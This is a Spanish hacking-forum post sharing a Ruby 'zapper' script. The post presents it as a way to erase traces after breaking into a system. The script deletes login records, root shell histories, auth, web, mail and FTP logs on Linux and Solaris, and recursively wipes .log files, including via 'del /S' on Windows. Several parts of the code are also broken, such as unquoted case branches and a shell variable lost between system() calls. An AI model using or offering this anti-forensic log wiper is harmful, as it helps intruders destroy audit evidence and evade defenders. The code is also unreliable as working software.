comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

RubyZapper (Log Cleaner)

  • 0 Respuestas
  • 1317 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5401
  • Actividad:
    40%
  • Reputación 31
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 24, 2010, 04:22:35 pm »
Un sencillo Zapper  (o borrador de logs, para cuando entremos aun sistema), codeado en Ruby.

Código: Ruby
  1. #Log Cleaner. Borrador de logs.
  2. #Para servidores unix, windows o sun.
  3. #Coded by pRotos
  4. #protos.nu@gmail.com
  5. if RUBY_PLATFORM =~ /linux/
  6.         os="linux"
  7. end
  8. if RUBY_PLATFORM =~ /win/
  9.         os="win"
  10. end
  11. if RUBY_PLATFORM =~ /sun/
  12.         os="sun"
  13. end
  14. puts "Borrando los logs..."
  15. case os
  16. when linux
  17. logs= ["/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",  
  18.                  "/var/log/secure","/root/.ksh_history", "/root/.bash_history",  
  19.                  "/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",  
  20.                  "/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",  
  21.                  "/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",  
  22.                  "/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",  
  23.                  "/var/log/messages/", "/var/log/proftpd/xferlog.legacy",  
  24.                  "/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",  
  25.                  "/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",  
  26.                  "/var/log/httpsd/ssl.access_log", "/etc/mail/access",  
  27.                  "/var/log/qmail", "/var/log/smtpd", "/var/log/samba", "/var/lock/samba", "/root/.Xauthority",  
  28.                  "/var/log/poplog", "/var/log/news.all", "/var/log/spooler",  
  29.                  "/var/log/news", "/var/log/news/news", "/var/log/news/news.all",  
  30.                  "/var/log/news/news.crit", "/var/log/news/news.err", "/var/log/news/news.notice",  
  31.                  "/var/log/news/suck.err", "/var/log/news/suck.notice",  
  32.                  "/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",  
  33.                  "/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",  
  34.                  "/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",  
  35.                  "/var/log/auth"]
  36. logs.each {|x|
  37.         File.delete(x)
  38.         }
  39. system('files=find / -name *.log')
  40. system('rm $files')
  41. puts "Logs Borrados del sistema"
  42.  
  43. when win  
  44. system('cd\ ')
  45. system('del /S *.log')
  46. puts "Logs Borrados del sistema"
  47.  
  48. when sun
  49. logs= ["/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",  
  50.                  "/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",  
  51.                  "/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",  
  52.                  "/var/adm/log/asppp.log", "/var/log/syslog",  
  53.                  "/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",  
  54.                  "/var/lp/logs/lpsched", "/var/lp/logs/requests",  
  55.               "/var/cron/logs", "/var/saf/_log", "/var/saf/port/log"]
  56. logs.each {|x|
  57.         File.delete(x)
  58.         }
  59. puts "Logs Borrados del sistema"
  60. else
  61.         puts " SO no reconocido"
  62. end

« Última modificación: Julio 31, 2014, 10:16:57 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!